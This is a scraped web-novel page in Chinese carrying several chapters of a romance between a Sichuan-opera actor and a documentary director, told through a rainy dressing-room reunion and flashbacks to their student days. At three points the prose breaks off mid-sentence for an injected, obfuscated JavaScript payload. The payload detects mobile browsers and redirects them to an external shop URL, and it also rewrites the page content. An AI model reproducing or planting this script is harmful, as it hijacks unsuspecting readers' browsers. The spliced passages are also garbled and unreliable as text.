另半边已经卸干净了,露出眼下淡淡的青黑和嘴角疲惫的纹路,似乎很久没有好好睡过一觉。 “陈导现在连演员的私生活都要管?”他扯了扯嘴角,手里的卸妆棉重重擦过带妆的半边脸,红色油彩顿时晕开一片。 陈声和站在门口,突然觉得呼吸困难。 五年前最灼痛的记忆再次翻涌上来,雨水拍打机场玻璃幕墙的声音,行李箱轮子在地面摩擦的噪声,还有李霄川拽着他的手腕时掌心的温度。 那个被雨水打湿的变脸脸谱塞进他手里,素白缎面都浸透了:“要是后悔了,就把它翻过来。” 他在飞机上才看见背面用朱砂写的“我等你”。 现在,那道疤就横在李霄川额角,成了一条无法跨越的界限,提醒着他缺席的这五年里发生的一切。 化妆间的灯突然闪了闪,钨丝嘶嘶作响,紧接着炸雷轰隆一声,窗框都在抖。 大雨终于倾盆而下,雨点砸在窗玻璃上的声音密集得让人心慌,水珠在玻璃上扭曲了窗外的灯光。 陈声和看着雨水在窗上淌成河,恍惚间觉得这水要把五年的时光都冲垮了,把他们俩都困在这个小小的化妆间里。 李霄川转回去继续卸妆,半边脸在镜中明暗交错,如同被时光切割成两半的人。他的手指很稳,但卸妆棉已经快被揉烂了 “把门关上,”他的声音里带着刻意为之的疏离,“冷气要跑了。” 陈声和伸手推开了门,迈步走进化妆间的动作像是跨过一个界限。 随后化妆间的门在他身后轻轻合上。雨声顿时被隔绝在外,只剩下微弱的呼吸,还有卸妆棉摩擦皮肤时发出的沙沙声。 李霄川的背影在镜中纹丝不动,修长的手指捏着卸妆棉,正沿着下颌线擦拭,他的戏服领口已经被滴落的油彩浸透,深色的水痕在红色戏服上蔓延成不规则的形状。 陈声和的目光落在化妆台上。散落的化妆笔中,一支勾脸笔斜插在笔筒里,笔尖还残留着朱砂红的颜料。 他的手指蜷缩起来,仿佛那抹红已经透过时光烙在掌心。 32.我们不合,我们装的 “看够了吗?”李霄川的声音慢慢割开沉默。 见陈声和不说话,他抬手继续卸妆,动作像在自虐,红色油彩在脸颊晕开一片,皮肤都快被擦破了。 陈声和猛地上前,一把抓住他的手腕。李霄川的皮肤滚烫,脉搏在他掌心下剧烈跳动着。 “别这样。”陈声和听见自己说。 他伸手去够化妆台上的卸妆油,却不小心碰倒了苦荞茶杯。茶水在桌面上漫延,浸湿了一沓演出节目单。两人谁都没有去扶。 李霄川的呼吸声变得粗重。 陈声和蘸了卸妆油的棉片悬在半空,颤抖得厉害。他看见李霄川眼中闪过一些情绪,转瞬即逝。 “怎么?”李霄川的声音沙哑,“陈导要亲自帮我卸妆?”他仰起脸,故意说,“就像以前那样?” 记忆铺天盖地砸过来。 大学时每次演出结束,陈声和都会帮李霄川卸妆。那时他们会挤在狭小的化妆间里,李霄川总爱哼着戏文逗他,直到他笑着把卸妆棉按在那张得意洋洋的脸上。 陈声和的手悬在空中,卸妆油顺着棉片滴落在李霄川的戏服领口。 他的视线模糊了,不知是汗水还是别的什么。镜中映出他们的身影,一个站着,一个坐着,中间隔着五年的时光,却谁都没有勇气先跨过那条线。 或许有,只是陈声和装作不知道。 李霄川猛地扣住他的手腕,力道大得让陈声和觉得骨头都在发疼。他看见对方眼底翻涌的情绪,和此刻窗外的天空一样,阴沉得让人心慌。 “五年了,”李霄川一字一顿地说,声音压得很低,“你还是只会用摄像机当盾牌。” 雨声开始变得很大,雨点砸在遮阳棚上的声响,由远及近,转眼就变成瓢泼大雨。 陈声和恍惚想起,成都的雨季总是这样不讲道理。 就像那年李霄川在练功房外突如其来的告白,就像机场分别时硬塞进他手里的那张脸谱,就像此刻…… 他站在化妆间里,手里捏着沾满卸妆油的棉片,却怎么也擦不去横在两人之间的那些污渍。 李霄川松开手,转身面对镜子。他的半边脸已经擦得发红,另半边依旧浓墨重彩。 陈声和看着镜中的倒影,忽地意识到,他们都在演一场名为释怀的戏,却连自个儿的脸都不敢看清。 雨水顺着窗框渗进来,在木地板上积成小小一滩。 潮汕老家的雨季也是如此,阿嬷总会拿着拖把念叨:“雨水带霉运,不能让它们留在屋里。” 可此刻,他竟希望这场雨能下得再久一些。因为雨停之后,他们又要回到各自的世界。 一个继续做他的川剧名角,一个继续当他的纪录片导演,中间隔着化妆镜,隔着摄像机,隔着那道永远擦不干净的油彩。 被碰翻的茶水在桌面上留下一道蜿蜒的水痕,水滴随着窗外的雨滴落在地上,形成一条分界线。 陈声和盯着那片水渍,想起大学时有一次,他们在李霄川姑姑的火锅店里吃宵夜。他不小心打翻了一杯冰镇酸梅汤,深红的液体泼在李霄川的白T恤上,晕开一大片。 李霄川当时只是挑眉看他,用带着椒盐味的普通话说:“小广仔,你这是谋杀亲夫啊?” 而现在,他们之间只剩下沉默,和一杯凉透的苦荞茶。 “你妈还是老样子?”依旧是李霄川先开了口。 陈声和的手指微微一顿:“嗯。” “催你结婚?” “……嗯。” “黄家女儿?林家千金……还是张家少爷?” 陈声和猛地抬头,眼神里闪过错愕:“……你怎么知道?” 李霄川笑了,笑意不达眼底:“你助理聊天挺大声的。” 事实上,他昨晚在陈声和团队聚餐的餐厅偶遇了。他坐在隔壁的卡座,听了一耳朵关于黄家女儿下这周来成都的讨论。 陈声和沉默了一会儿,忽然反问:“你呢?” “我什么?” “……黄金单身汉?” 李霄川眉毛一挑,那眼神就跟逗猫似的:“哟,陈导这么关心我,要给我介绍对象啊?” “你明明知道我不是……”陈声和的话戛然而止,像是突然意识到自己差点脱口而出什么。 “我啊,”李霄川拖长了调子,故意卖关子似的停顿了几秒,才慢悠悠转过脸,眼睛直勾勾盯着他,“现在可忙了,一个月换一个……” 陈声和手指掐进掌心,牙关咬得发酸。 李霄川瞧着他骤然缩紧的瞳孔,嘴角一勾,一字一顿地,把最后三个字轻轻吐出来。 “男、朋、友。” 空气中再次被沉默填满,只剩下窗外越来越急的雨声敲打着玻璃。 李霄川的目光不由自主地落在陈声和的手腕上,那串手链已经戴上了,松松垮垮地挂在那里,明显大了一圈。 他第一反应是陈声和怎么又瘦了。这手链上周才通知他去取,当时特意问的尺寸,怎么可能不合身。 李霄川烦躁的伸手,从化妆台上皱巴巴的烟盒里抽出一支烟,随意地叼在唇间,却迟迟没有点燃。 陈声和的目光追随着他的动作,眉头不自觉地皱起:“你以前……不是戒烟了。” “陈导,”李霄川含着烟,说话有点含糊,“人都善变嘛。”烟尾随着他嘴唇一动一动的,在昏黄灯光下晃出细小的影子。 “再说了,”他抬起眼皮,目光直直刺过来,“我抽不抽烟,跟陈导有什么关系?” 陈声和的嘴唇动了一下,最终什么也没说。 李霄川把烟从唇间拿下来,修长的手指灵活地转着那支未点燃的烟,目光却落在陈声和紧抿的唇线上:“不过有些习惯倒是没变。” “……什么?” “你紧张的时候,”李霄川扬了扬下巴,“还是会摸那道疤。” 陈声和的手指猛地僵住,被这话烫到一样,迅速放了下来,然后藏进了外套口袋里。 李霄川的目光在他手腕上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005873|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一扫而过,哼了一声,随即若无其事地移开。 窗外的雨势越来越大,豆大的雨滴砸在玻璃窗上,发出密集的噼啪声,几乎盖过了两人微弱的呼吸声。 李霄川站起身,椅子在地板上划出刺耳的声响。几步走到窗边,他背对着陈声和站定。 雨水在窗玻璃上蜿蜒成一道道透明的小溪,将他的身影切割成模糊的碎片。 “还记得吗,”他的声音低低的,几乎被雨声吞掉,“以前你说,成都的雨跟潮汕的雨不一样。” 陈声和的身体微微一僵。 记忆鲜明起来。他们第一次一起淋雨,李霄川在雨中大笑着,说成都的雨是爽快的,来得快去得也快,不像潮汕的雨,缠绵又潮湿,像陈声和软乎乎粘人的性子。 “记得。”他轻声说。 李霄川没回头,只是看着窗外:“现在呢?你觉得成都的雨变了吗?” 陈声和垂下眼睛,看着地板上那滩不断扩大的水渍,沉默了片刻才开口:“……没变。” “是吗。”李霄川的声音里带着满满的嘲意,手指在窗框上敲击着,“可我觉得变了。” 陈声和抬起头,想要看清他的表情,却只能看到一个被雨水模糊成孤绝的背影。 “现在的雨,”李霄川轻声说,“下得让人心烦。” 窗外的雨声成了房间里唯一的背景音。 陈声和盯着地上那滩水渍,看着它悄无声息地越洇越大,像缓慢扩张的情绪。他听见自己干涩的声音:“雨都一样,是人变了。” 李霄川的背影在窗前僵了一瞬,随即发出一声短促的轻笑:“陈导现在说话,越来越有哲学味儿了。” “比不上李老师,”陈声和抬起头,目光落在他绷紧的后颈线上,“戏里戏外都演得挺好。” “…………” 这话刺得明显,李霄川却没什么反应,只是抬手抹了把窗玻璃上的水汽。手指划过的地方留下清晰的痕迹,很快又被新的雨水覆盖。 谁在演,谁没演,两个人心里都心知肚明。你刺我一句,我回你一句,剧组里那些“他们果然不合”的传闻,倒是一点没冤枉。 “你那手链,”李霄川声音往下压了压,“尺寸不对就摘了吧,戴着不难受?” 陈声和的手指在口袋里蜷了蜷,没接话。 李霄川转过身,后背抵着窗台,视线总算落回陈声和脸上:“不愿意摘也行,反正陈导做事,从来都有自己的主意。” 这话里的刺太扎人了,陈声和终于没忍住:“你非得这么说话?” “我哪样了?”李霄川头一偏,装得挺像那么回事,“我这不是在好好配合陈导您的工作吗?您要什么氛围,我就给什么氛围。怎么,还嫌我不够专业?” “…………”陈声和被呛得喉头一哽,像生吞了颗没剥壳的桂圆。 连他自己这会儿都有点恍惚了…… 从前那个把他捧在手心里的人,现在说出的每个字,怎么都往心窝子上戳呢。 33.勺柄都打弯了 从雨夜那句“你愿意当我的摄影师吗”开始,陈声和的生活轨迹就悄然发生了转向。 那天之后,他正式成为李霄川的专属摄影师,虽然这个头衔来得突然,甚至让他有些恍惚。 川剧社的练功房藏在艺术学院最老的那栋红砖楼里,推开厚重的木门,席卷而来的是经年累月沉淀的气息。 木地板随着脚步发出细微声。 上空的阳光从高窗斜射进来,照亮空气中飘浮的尘埃,其实都是从戏服上抖落的绣线碎屑,在光束中缓缓起舞。 陈声和站在门口,手里拿着临时通行证的边缘。这张薄薄的卡片让他犹豫了整整三分钟。 昨儿雨中的对话像一场梦,现在想来都像是一场幻觉。那句邀请究竟是认真的,还是对方一时兴起的玩笑?他不敢确定。 “杵着当门神啊?” 身后突然响起的声音吓得他手一抖,相机差点脱手。 转身时,晨光已经透过走廊的磨砂玻璃,照在走廊上,暖烘烘的。 李霄川嘴里叼着袋豆浆,右手提着两袋还在冒热气的小笼包,塑料袋上凝结的水珠正顺着他的手腕往下滑。 “我,”陈声和举起那张被捏得有些发皱的通行证,“这个真的能用?” 李霄川直接用额头抵开练功房的门。 “整个戏曲社就我有两张通行证,另一张去年过期了都没给人。”他顿了顿,嘴角扬起一个得意的弧度,“你是第一个。” 空荡荡的练功房里,那面巨大的镜子墙映出他们俩一前一后的身影。 李霄川随手把还冒着热气的包子往掉漆的木桌上一扔,转身就朝更衣柜走。 “帮我拿一下。” 陈声和几乎是条件反射地接住扔过来的衣服,人却一下子愣在那儿,动不了了。 李霄川已经利索地把T恤从头顶一把扯了下来。晨光清清楚楚勾勒出少年挺拔的身形,肩胛骨随着他动作舒展开,那架势,真像只马上要振翅起飞的鹰。 就是左肩那道淡白色的疤,像个突然从乐谱上冒出来的休止符,硬生生打断了原本流畅的线条。 “怎么不开机?”李霄川套上练功服转过身,看见陈声和正低着头,跟相机电源键较劲。 “哦对了,”他凑近过来,洗发水的薄荷味与运动前的热度扑鼻而来,“这里要输密码才能用电。” 他手指在数字键盘上噼里啪啦按了几下:“记住了没?0923,我生日。” 陈声和红着脸点了点头。 取景框里的世界,一下子变得不一样了。 陈声和透过镜头,看着李霄川压腿时背部绷得笔直的线条,下腰时脖颈拉出的那个好看弧度。 黑色的练功服慢慢被汗浸透了,腰那块儿颜色变得深深的。等到李霄川一口气做完第十六个后空翻,动作猛地顿了一下。 “别过来!”李霄川抬手拦住想冲过来的陈声和,喘着气说,“正常现象,别大惊小怪的。” 他扶着把杆慢慢坐下去,右膝盖已经透出不自然的红:“昨天雨里跑太急了,老伤闹脾气了。” 陈声和蹲下身,这才看清他膝盖上密密麻麻布满了小疤痕,像一张专门记录他怎么长大的地图:“这些……全是练功弄的?” “啊,这个最逗。”李霄川指着其中一道月牙形的疤,“十三岁那会儿偷学师父的绝活,从三米高的台子上直接栽下来磕的。” 他笑得没心没肺,眼角却因为疼微微抽动着:“当时血把白袜子都染透了,我第一反应居然是,完了完了,戏服弄这么脏肯定要挨骂。” 相机安安静静地录下了这个笑容,陈声和搭在快门键上的手指,轻轻抖了一下。 他忍不住摸了摸自己手腕上那道煮茶烫出来的浅疤。 阿嬷总说,咱们潮汕人嘛,连受伤都要讲究个优雅体面。可眼前这个人,怎么就能把每一道伤疤都活得这么理直气壮,闪闪发光呢? 果然成都的熊猫就是不一样,都是滚一身泥巴、打着架长大的,他在心里悄悄嘀咕了这么一句。 “晚上有空没?”李霄川扯下护腕甩了甩汗,凑到取景器前,“我姑火锅店今天试新锅底。” 陈声和正在检查照片,闻言手指一滑,放大了李霄川喉结的特写:“……几点啊?” “六点,校门口等你。”李霄川把毛巾往肩上一搭,临走时又回头,“记得带胃药啊。” 结果陈声和不仅带了胃药,还在舌根底下都偷偷压了片日本进口的解辣含片。 原因是上周社团火锅局,他半夜蹲在宿舍厕所吐到快虚脱的惨状,这会儿想起来还觉得腿软呢。 蓉香坊的红灯笼在傍晚的天色里头一晃一晃,看得人眼晕。 陈声和正低头数着招牌上那根缺了角的霓虹灯管,玻璃门突然被推开了,一个盘着发髻的女人探出半个身子来。 “是声和吧?霄川说你会背个黑相机包……哎哟比照片还俊!” 姑姑李红梅眼角的笑纹简直和李霄川一个模子刻出来的,指甲却涂着时下最流行的墨绿色。 她一把抓住陈声和的手腕就往包厢里带:“专门给你们留了靠空调的位置!鸳鸯锅白汤那边我放了你们那儿的撒子海底椰,清热!” 桌上已经摆好了锅底,白汤锅里可怜巴巴地飘着三粒枸杞两颗红枣,红汤那边密密麻麻的花椒正咕嘟咕嘟翻着滚。 陈声和刚掏出手机想拍调料台当素材,包厢门“哐当”一声被踹开。 “姑!毛肚来两份!”李霄川带着一身寒气挤进他旁边的卡座,羽绒服拉链哗啦擦过陈声和耳尖,“再加份虾滑,他爱吃这个。” “我什么时候……” “上周社团聚餐就见你筷子往虾滑盘里伸了三四回。”李霄川手脚麻利地调好两碗油碟,推过来那碗香菜堆得跟小山包似的,“信我,香迷糊你。” 牛油裹着的毛肚刚滑下喉咙,陈声和搁在桌上的手机就嗡嗡震起来。屏幕上“阿妈”两个字让他手一抖,筷子上的红油“啪嗒”溅在雪白衬衫袖口。 “我去接个电话。” 洗手间的镜子上蒙着层水汽,陈声和伸手抹开一小片清明,却还是看不清自己此刻的表情。 母亲的声音夹杂着电话那头抽油烟机的轰鸣,断断续续飘过来:“阿和,上次发你的照片看了没?我觉得有两个姑娘条件真不错,推给你的微信都加了没?” “妈,我现在......” “你总是这样推三阻四。”母亲的声音突然清晰起来,像是特意走到了安静角落,“你是男孩子,要主动点啊。你堂弟比你还小一岁,孩子都会满地跑了。还要我们当父母的操心到什么时候?” 镜面上的水珠又聚拢起来,模糊了陈声和紧锁的眉头。他用指甲抠着洗手台边缘的瓷砖缝,那里积着层薄薄的污垢。 “妈,我在参加社团活动。” “什么社团这么晚还在活动?” “戏曲社……”话刚出口他就恨不得咬掉舌头,果然母亲立刻拔高了声调:“是不是那个搞变脸的?早跟你说过这些江湖把戏……” “陈声和!”隔间门被拍得砰砰响,李霄川的声音与水龙头哗哗声传进来,“鸭血都要煮烂了!” 电话那头突然安静得能听见潮汕老宅挂钟的滴答声。 陈声和盯着洗手池边沿那道年深日久的裂缝,母亲最后那句“明天再说”轻得像是自己的错觉。 挂断电话后,他对着那道裂缝发了好久的呆。裂缝里嵌着些发黑的污渍,不知道是经年累月的油垢,还是干涸的血迹。 直到李霄川探头进来,门框撞得他额头咚的一声响。 “你在这孵蛋啊?”目光落在他僵握的手机上,他嘴角的笑意淡了些,“怎么了,家里有事?” “没事。”陈声和拧开水龙头,“说我家里堂弟结婚。” 冰凉的水流冲过指缝,他又突然问:“你姑姑知道吗?” “知道什么?”李霄川伸手关小了水龙头,哗哗的水声顿时变成细弱的呜咽。 “你是……”陈声和的声音淹没在隔壁间突然爆发的冲水声里,那声音大得像是要把整个管道系统都掀翻。 李霄川沉默片刻,拽着他往回走,塑料门帘打在陈声和背上啪嗒作响:“毛肚真的老了。” 那天陈声和还是没有敢吃辣,但是他偷偷用筷子尖蘸了蘸李霄川的油碟。辣味像一根烧红的针,从舌尖直刺到太阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005874|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穴,他却硬是挤出一个微笑:“还不错。” 回校的公交车上,李霄川罕见地一言不发。他额头抵着车窗,呼出的白雾在玻璃上晕开又消散。 直到路过音乐学院时,他突然拽着陈声和提前下车:“吃太撑,走走。” 冬夜的风已经带上了锋利的边角,陈声和裹紧外套,看着自己呼出的白气在路灯下变成转瞬即逝的云。 他们沿着琴湖慢慢走,远处琴房的灯光倒映在水面上,被波纹揉碎成金色的沙,又被风吹散成细碎的光点。 “我爸妈离婚那年,我姑连夜从成都赶回老家。”李霄川突然开口,声音比平时低一些,“她把我爸揍了一顿,用的火锅店那种炒勺。” 他比画了一下:“勺柄都打弯了。” “…………”陈声和差点被自己的呼吸呛到,喉结剧烈地滚动了两下。 “后来她带我来成都,送我去戏校。”李霄川踢开一颗石子,“第一年我天天哭,她就每天变着花样做不辣的菜,虽然难吃得要命。” 湖畔长椅的铁扶手冰得人一哆嗦,陈声和赶紧把手指缩进袖口,只留点手指在外面。 “我阿嬷最疼我了,舍不得我受一点委屈,”他顿了顿,声音轻得像在自言自语,“但她去年开始,每次见我都要带相亲对象的照片。” 琴房传来断续的《风吹麦浪》,弹到第三小节总是卡壳,就像他每次想要坦白时突然哽住的话头。 李霄川突然转过来,运动鞋在砂石路上嘎吱一响:“所以你今天问我,姑姑知不知道。” 这话根本不用回答。 陈声和盯着自己鞋尖上的一点红油渍,是火锅店地板的印记。 “她知道。”李霄川的声音轻得像琴湖上的雾气,却又重得像压在陈声和胸口,“从初中就知道。” 那段日子李霄川头回意识到自己喜欢男生,整个人懵得整整一个月吃不下饭。 后来他跟李红梅坦白,姑姑拍着大腿笑:“我以为是啥子天大的事!喜欢男娃儿就喜欢嘛,你找个妖艳儿的人妖回来……哎呦那要不得,还是要找个乖点的男娃儿才行……” 月光突然变得太亮,亮得陈声和不得不闭上眼睛。 他感觉到李霄川的手就这么盖在他手背上,隔两层毛衣传来的体温,比火锅翻滚的辣油还烫,烫得他手指一颤。 “陈声和。”李霄川很少这样连名带姓叫他,“你要不要……” 琴声戛然而止,像是被人猛地合上了琴盖。远处传来学生嬉笑的声音,由远及近,又渐渐消失在夜色中。 陈声和的手机在口袋里又震动起来,贴着大腿的皮肤嗡嗡发麻。母亲的信息在屏幕上闪烁如警报。 三个未接来电加一串微信,他喉咙发紧,像被硬灌了滚茶。 “不接啊?”李霄川问着,手指闲闲拨弄路边垂下的梧桐枝,枯叶咔嚓咔嚓碎了一地。 湖面早就平静了,映着两人模糊的影子,像张没对焦的照片。 陈声和把手机调静音塞回去:“……没啥事。” 其实他也没搞懂,怎么刚上大学家里就催结婚。可转头想想族里那些堂哥表哥,好像都是这个年纪开始被念叨。 回宿舍的路上,李霄川安静得反常。运动鞋踩落叶的沙沙声像节拍器打着拍子,直到岔路口,他突然拽住陈声和的背包带。 “你明天还来练功房吗?” 路灯的光被梧桐叶剪碎,落在李霄川身上。陈声和发现他右眉尾也有一颗极小的痣,大概也是伤疤没处理好,平时被刘海挡着居然没发现。 “来。” 这个简单的音节像一个打开的电筒,李霄川整个人突然亮起来,嘴角的弧度让那颗小痣也跟着上扬:“那帮我带杯奶茶!要你们广东那种,”他比画着,“苦的!” “港式奶茶。” “对!就是喝了会失眠的那种!”李霄川倒退着往后走,差点撞上路边的自行车,“明早九点,别迟到啊广仔!” 陈声和望着那个蹦跳远去的背影,胸口一阵细密的刺痛,像是有人往他心口撒了一把跳跳糖。 手机在口袋里像块烧红的炭,但他暂时不想面对,就像不想面对母亲微信里那些未读的红点。 34.拍你,时间永远有 回到宿舍后,只有张远正戴着耳机打游戏,机械键盘敲得噼啪响,见他进来,头也不回地喊:“你妈找你一下午了!说你再不回电话就要打给辅导员!” 陈声和没说话,把书包扔在桌上,踩上去准备拿睡衣时,察觉到床头的潮汕工夫茶具被动过,母亲上次寄来的凤凰单丛少了两包。 他盯着茶罐,突然抓起手机冲进了浴室,拖鞋在地板上打滑发出啪塔的摩擦声。 把水龙头开到最大,水流砸在洗手池里的声音像一场温柔的暴雨。 “阿和?”母亲的声音很冷,直往他心口戳,“今天那个男生是谁?” 花洒的水流砸在瓷砖上,盖不住电话那头清晰的翻页声。母亲一定在查李霄川的资料,那些打印纸的沙沙声他再熟悉不过。 至于怎么知道的,不用猜也清楚。 陈声和盯着镜子里自己苍白的脸:“……社团学长。” “戏曲社。”母亲慢慢重复,笔尖在纸上划过的声音清晰可闻,“就是上次你说的,那个会变脸的男生?” “唔。” 水蒸气很快模糊了镜面,陈声和用袖子擦了一把,发现镜角有个模糊的红色印记。 他低头一看,想起应该是李霄川昨天勾脸时,不小心蹭在他衣领上的朱砂,在白色布料上晕开成一小片朝霞。 “参加戏剧社,跟你找对象又不冲突。”母亲的话音忽然软了下来,“下个月初九祭祖,你必须回来。你是家里独苗,我们给你相看的都是本分的好姑娘……” “阿妈。”陈声和截住话头,声线在氤氲水汽里发颤,“我若岁啊?做呢勿肯尊重我个想法?” “又唔是催你即刻娶。”阿母叹口气,“你先相揽,合意了阮就帮你安排后续,者有个好?” “我不想处,也不想这么早被感情绑住手脚。”陈声和的声音里透着疲惫,“我只想拍片子,别再用这件事掐着我的脖子了……” “你愈大愈唔晓想!”阿母语气骤然转硬,“独子就着有独子个担当,你享受厝内一切,就着担起责任!” 挂断电话后,他才感觉到手痛,低头一看,发现右手拇指指甲边缘已经被自己咬出了血。 …… 练功房的暖气片坏了,呼出的白气在几度的空气里凝成团状。李霄川单脚立在把杆上压腿,平衡绳勒出腰线凌厉的弧度。 “迟到了十分钟啊。”他没回头,却准确无误地朝门口抛来一团东西,“暖手。” 陈声和伸手接住,是灌满热水的暖手宝,套着蜀绣的圈套,图案是两只交颈的鸳鸯。 “我姑给的。”李霄川转过来,鼻尖冻得发红,“说给你这种南方人用。” 陈声和小声嘀咕:“你也是南方人……” 递过去的港奶包装袋窸窣作响,交接时小指蹭到李霄川的指关节,像碰到冷藏柜里的金属托盘。 陈声和缩回手,保温袋表面的水珠在练功房地板上砸出几个深色圆点:“你练了多久啦?” “没多久。”李霄川咬住吸管喉结滚动,突然呛得弯腰,“咳……这玩意是跌打药吧?!” “茶餐厅标准配方。”陈声和举起相机,取景框里李霄川的眉弓在晨光中投下阴影,“哎,别动啊,这个表情很好。” 快门声中,李霄川瞪大眼睛的样子被永久保存。晨光穿过他发梢,睫毛上还挂着点湿意,嘴角沾着一点棕色的奶茶渍。 “赶紧删掉!”李霄川扑过来时平衡绳还缠在腰间,“这要是流传出去,有损我2米8的形象!” 陈声和后退撞上镜墙,后脑勺咚地磕在舞蹈把杆的固定扣上。李霄川麻溜捉住他,撑在他耳畔的手臂肌肉绷紧,呼吸带着港奶的茶涩味。 “挺好,”李霄川看了眼照片,轻声笑了一下,热气呵在陈声和冻僵的耳垂上,“够当三个月聊天背景了。” 练功房的门突然被推开,生锈的合页发出吱呀声。 “霄川!服装间找你……哎哟卧槽!” 杨知夏的嗓音在看见室内景象时陡然拔高拐了个弯,她猛地抬起手中的登记板挡住眼睛,同时转了身背对着他们。 陈声和的耳根瞬间烧了起来,他忽地蹲下去假装系鞋带,手指却不受控制地发抖,怎么也理不清那根早就系好的鞋带。 头顶传来李霄川镇定地回应:“马上来。” 他甚至能听出对方声音里带着笑意。 脚步声渐远后,李霄川拽着他的手腕把他拉起来。 陈声和这才发现自己的相机还开着,屏幕上定格着刚才偷拍的画面:李霄川练功时绷紧的侧脸,汗水顺着下颌线滑落。 “年度汇演要到了,社里忙成狗。”他犹豫了一下,“你……还来拍吗?” 陈声和看着取景框里李霄川的眼睛在逆光下亮得惊人,他轻声说:“来的,我会安排好时间。” “行。”李霄川挺自然抬手,替他整理好有些乱的头发,“太忙就不过来了,反正日子还长着呢。” “唔,知道的。”陈声和耳尖红红的,应了一声。鼻尖似乎还萦绕着李霄川靠近时带来的奶茶和汗水混合的气息。 在李霄川心里,该怎么形容这个广东仔呢? 是那双亮晶晶的、大双眼皮底下总像含着一汪清泉的锤眼?还是他那说话时总带着点黏糊糊尾音的啦、咯,像在人心尖上轻轻挠痒痒? 好像都不够。 是了,是那种感觉。 就像成都阴冷冬天里,突然端到你面前的一碗热乎乎的凤凰奶糊。 看上去温温吞吞,不烫嘴,但你一勺子挖下去,那香甜暖糯却能一直熨帖到肠胃最深处去,让人忍不住想把这独一份的暖和劲儿紧紧捂在手里。 可这碗奶糊似乎总有他自己的心事,像隔着潮汕地区常年不散的海雾,让你看得见,却未必能真正触碰到内里。 …… 接下来的日子确实如李霄川所说,忙得脚不沾地。年度汇演前一周,陈声和几乎长在了练功房。 他拍李霄川勒头带时太阳穴暴起的青筋,拍他后空翻落地时飞扬的衣角,拍他偷吃小笼包被师父发现时鼓起的腮帮。 那天李霄川被罚加练两小时,却还偷偷对他眨眼睛。 这些照片都存在一个加密文件夹里,命名是简单的C。 “你最近回寝室好晚。”某个深夜,张远突然开口。他翻了个身,床板发出嘎吱声响,“洗照片的钱都够买新镜头了吧?” 陈声和正用软布擦拭相机传感器,闻言手一顿:“……什么?” “别装了。”张远指了指他那一本厚厚的相册。 相册摊在旁边,里面全是李霄川表演时的连拍,每一张边缘都用蓝色圆珠笔标注了确切到秒的时间。 最上面那张被红笔圈了出来:李霄川谢幕时目光明显偏离舞台,看向镜头所在的位置。 陈声和记得那一刻,自己站在观众席最后一排,隔着那么多人,李霄川还是准确找到了他。 浴室的水声停了,传来室友折磨人的歌声。 陈声和慢慢合上相册,塑料页发出轻微的沙沙声,他听见自己胸腔里的心跳声大得吓人。 “你知道他是……”张远压低声音,从床上探出半个身子,“他前年公开出柜,闹得全院皆知。你是真傻假傻,他接近你是带着某种目的。” “还有那个杨知夏她们几个,她跟李霄川一样,物以类聚,家里都没人管,你被人卖了都不知道。” 窗外的树枝被风吹的沙沙作响,一片片枯叶落在地上,再被吹跑。 陈声和想起昨天在服装间看到的画面:李霄川帮自己整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005875|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理被风吹乱的头发,而镜子里映出门口杨知夏复杂的眼神,那眼神他现在才读懂。 “我们只是普通朋友。”这句话说出口时,舌尖泛起一阵苦涩。 “随便你,我已经提醒你了,别傻乎乎地被人利用了。”张远爬回床上,弹簧床垫发出不堪重负的呻吟,“不过提醒你,阿姨已经联系辅导员了。” 陈声和握紧了手中的相机,随后又松开。他快速收拾完上床躺下,床头充电的手机好像知道他作息,屏幕亮了一下,李霄川的信息跳了出来: 【明天彩排,来看我穿新戏服】 紧接着又是一条:【就你一个人】 陈声和盯着那个句号看了很久,直到屏幕自动熄灭。黑暗中,那个圆点仿佛烙在了视网膜上,怎么也挥之不去。 …… 次日彩排是在深夜,校园早已陷入沉睡。陈声和刷卡进入艺术楼时,感应灯应声亮起,将他的影子在走廊上拉长。 礼堂里空荡荡的,只有安全出口那点绿光幽幽亮着。舞台中央悬着一束追光,像夜里唯一的小月亮,灰尘在光里慢悠悠地飘。 李霄川穿着《长坂坡》赵云的戏服站在光里,银甲在暗处闪闪发亮,腰间玉带随着呼吸微微起伏。 “怎么不开大灯?”陈声和站在第一排仰头问,声音在空剧场里荡出回音。 李霄川的声音从高处传来:“陈导不懂了吧?”他转了个身,铠甲鳞片哗啦作响,“这样才有感觉。” 他一起势,陈声和就明白了。这哪是彩排,是李霄川单独演给他看的。 没有伴奏,李霄川自己低低哼着锣鼓点儿,声音沉稳带节奏。长枪一挥,气流掀翻前排椅子上的节目单,纸张哗啦啦飞起来,像偷偷给他鼓掌。 